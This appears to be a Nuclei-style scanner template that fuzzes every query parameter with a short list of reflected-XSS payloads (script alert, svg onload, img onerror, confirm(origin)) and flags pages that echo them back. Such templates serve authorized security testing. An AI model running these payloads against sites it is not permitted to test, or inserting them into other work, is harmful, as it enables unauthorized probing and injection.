Template

my-reflected-xss.yaml
id: reflected-xss-fuzz

info:
  name: Reflected XSS Fuzz
  author: ASAD
  severity: medium
  description: Attempts to detect reflected XSS via fuzzing all query parameters
  tags: xss,fuzzing,dast

http:
  - payloads:
      xss:
        - "<script>alert(1)</script>"
        - "'\"><svg/onload=alert(1)>"
        - "'\">';/><u>test123"
        - "\">';/></script><u>test123"
        - "\">';/></textarea><u>test123"
        - "\">K='><Svg/OnLoad=(confirm)(origin)>"
        - "'\"/><Img Src=OnXSS OnError=(alert)(1)>"

    fuzzing:
      - part: query
        mode: single
        fuzz:
          - "{{xss}}"

    matchers-condition: and

    matchers:
      - type: word
        part: body
        words:
          - "{{xss}}"

      - type: status
        status:
          - 200
          

Last updated